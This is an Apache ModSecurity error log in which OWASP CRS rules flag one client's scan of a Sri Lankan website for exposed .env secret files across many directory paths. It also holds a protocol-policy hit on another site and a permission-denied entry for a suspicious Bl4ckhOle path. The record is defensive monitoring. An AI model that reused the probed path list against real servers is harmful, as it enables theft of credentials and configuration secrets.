[Fri Jul 17 09:26:06.588375 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /service/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/service/.env"] [unique_id "almn1gRRrtuZqNDDSqW1SQAAABo"]
[Fri Jul 17 09:26:06.588767 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/service/.env"] [unique_id "almn1gRRrtuZqNDDSqW1SQAAABo"]
[Fri Jul 17 09:26:06.589185 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/service/.env"] [unique_id "almn1gRRrtuZqNDDSqW1SQAAABo"]
[Fri Jul 17 09:26:06.754297 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/api/v3/.env"] [unique_id "almn1iRF0UOO1RzB5_8zrAAAAA4"]
[Fri Jul 17 09:26:06.754684 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/api/v3/.env"] [unique_id "almn1iRF0UOO1RzB5_8zrAAAAA4"]
[Fri Jul 17 09:26:06.755206 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/api/v3/.env"] [unique_id "almn1iRF0UOO1RzB5_8zrAAAAA4"]
[Fri Jul 17 09:26:06.925617 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/api/dev/.env"] [unique_id "almn1lh1WDijTxd1xw5R0QAAAAc"]
[Fri Jul 17 09:26:06.926009 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/api/dev/.env"] [unique_id "almn1lh1WDijTxd1xw5R0QAAAAc"]
[Fri Jul 17 09:26:06.926580 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/api/dev/.env"] [unique_id "almn1lh1WDijTxd1xw5R0QAAAAc"]
[Fri Jul 17 09:26:07.108170 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/api/staging/.env"] [unique_id "almn14l9vhFBGA6D8l9_twAAAAw"]
[Fri Jul 17 09:26:07.108450 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/api/staging/.env"] [unique_id "almn14l9vhFBGA6D8l9_twAAAAw"]
[Fri Jul 17 09:26:07.108837 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/api/staging/.env"] [unique_id "almn14l9vhFBGA6D8l9_twAAAAw"]
[Fri Jul 17 09:26:07.240434 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 57.141.18.53:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory74/node0/memory105/node0/memory118/subsystem/drivers_probe
[Fri Jul 17 09:26:07.302693 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/vendor/.env"] [unique_id "almn141dLClkUfK_dfHqYQAAAAI"]
[Fri Jul 17 09:26:07.302995 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/vendor/.env"] [unique_id "almn141dLClkUfK_dfHqYQAAAAI"]
[Fri Jul 17 09:26:07.303374 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/vendor/.env"] [unique_id "almn141dLClkUfK_dfHqYQAAAAI"]
[Fri Jul 17 09:26:07.480748 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/lib/.env"] [unique_id "almn1yRF0UOO1RzB5_8zrgAAAA4"]
[Fri Jul 17 09:26:07.481117 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/lib/.env"] [unique_id "almn1yRF0UOO1RzB5_8zrgAAAA4"]
[Fri Jul 17 09:26:07.481650 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/lib/.env"] [unique_id "almn1yRF0UOO1RzB5_8zrgAAAA4"]
[Fri Jul 17 09:26:07.709605 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /resources/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/resources/.env"] [unique_id "almn1xHlOGcokz2QIwTYsgAAAAM"]
[Fri Jul 17 09:26:07.710035 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/resources/.env"] [unique_id "almn1xHlOGcokz2QIwTYsgAAAAM"]
[Fri Jul 17 09:26:07.710597 2026] [security2:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/resources/.env"] [unique_id "almn1xHlOGcokz2QIwTYsgAAAAM"]
[Fri Jul 17 09:26:07.882015 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/canon-printers"] [unique_id "almn14l9vhFBGA6D8l9_uQAAAAw"]
[Fri Jul 17 09:26:07.882146 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/canon-printers"] [unique_id "almn14l9vhFBGA6D8l9_uQAAAAw"]
[Fri Jul 17 09:26:07.882482 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/canon-printers"] [unique_id "almn14l9vhFBGA6D8l9_uQAAAAw"]
[Fri Jul 17 09:26:07.893121 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/assets/.env"] [unique_id "almn1w5GPQ6hs4VrfMpHoQAAAAY"]
[Fri Jul 17 09:26:07.893378 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/assets/.env"] [unique_id "almn1w5GPQ6hs4VrfMpHoQAAAAY"]
[Fri Jul 17 09:26:07.893800 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/assets/.env"] [unique_id "almn1w5GPQ6hs4VrfMpHoQAAAAY"]
[Fri Jul 17 09:26:08.074996 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/uploads/.env"] [unique_id "almn2Loj0IkvhSCYadmHawAAAAQ"]
[Fri Jul 17 09:26:08.075397 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/uploads/.env"] [unique_id "almn2Loj0IkvhSCYadmHawAAAAQ"]
[Fri Jul 17 09:26:08.075999 2026] [security2:error] [pid 2018741:tid 2018741] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/uploads/.env"] [unique_id "almn2Loj0IkvhSCYadmHawAAAAQ"]
[Fri Jul 17 09:26:08.128496 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:08.230951 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn14l9vhFBGA6D8l9_uQAAAAw"]
[Fri Jul 17 09:26:08.253477 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/internal/.env"] [unique_id "almn2LEWOaI5pmYo9fnURwAAAAA"]
[Fri Jul 17 09:26:08.253779 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/internal/.env"] [unique_id "almn2LEWOaI5pmYo9fnURwAAAAA"]
[Fri Jul 17 09:26:08.254211 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/internal/.env"] [unique_id "almn2LEWOaI5pmYo9fnURwAAAAA"]
[Fri Jul 17 09:26:08.417865 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/tools/.env"] [unique_id "almn2Il9vhFBGA6D8l9_ugAAAAw"]
[Fri Jul 17 09:26:08.418136 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/tools/.env"] [unique_id "almn2Il9vhFBGA6D8l9_ugAAAAw"]
[Fri Jul 17 09:26:08.418521 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/tools/.env"] [unique_id "almn2Il9vhFBGA6D8l9_ugAAAAw"]
[Fri Jul 17 09:26:08.590557 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/scripts/.env"] [unique_id "almn2LEWOaI5pmYo9fnUSAAAAAA"]
[Fri Jul 17 09:26:08.590995 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/scripts/.env"] [unique_id "almn2LEWOaI5pmYo9fnUSAAAAAA"]
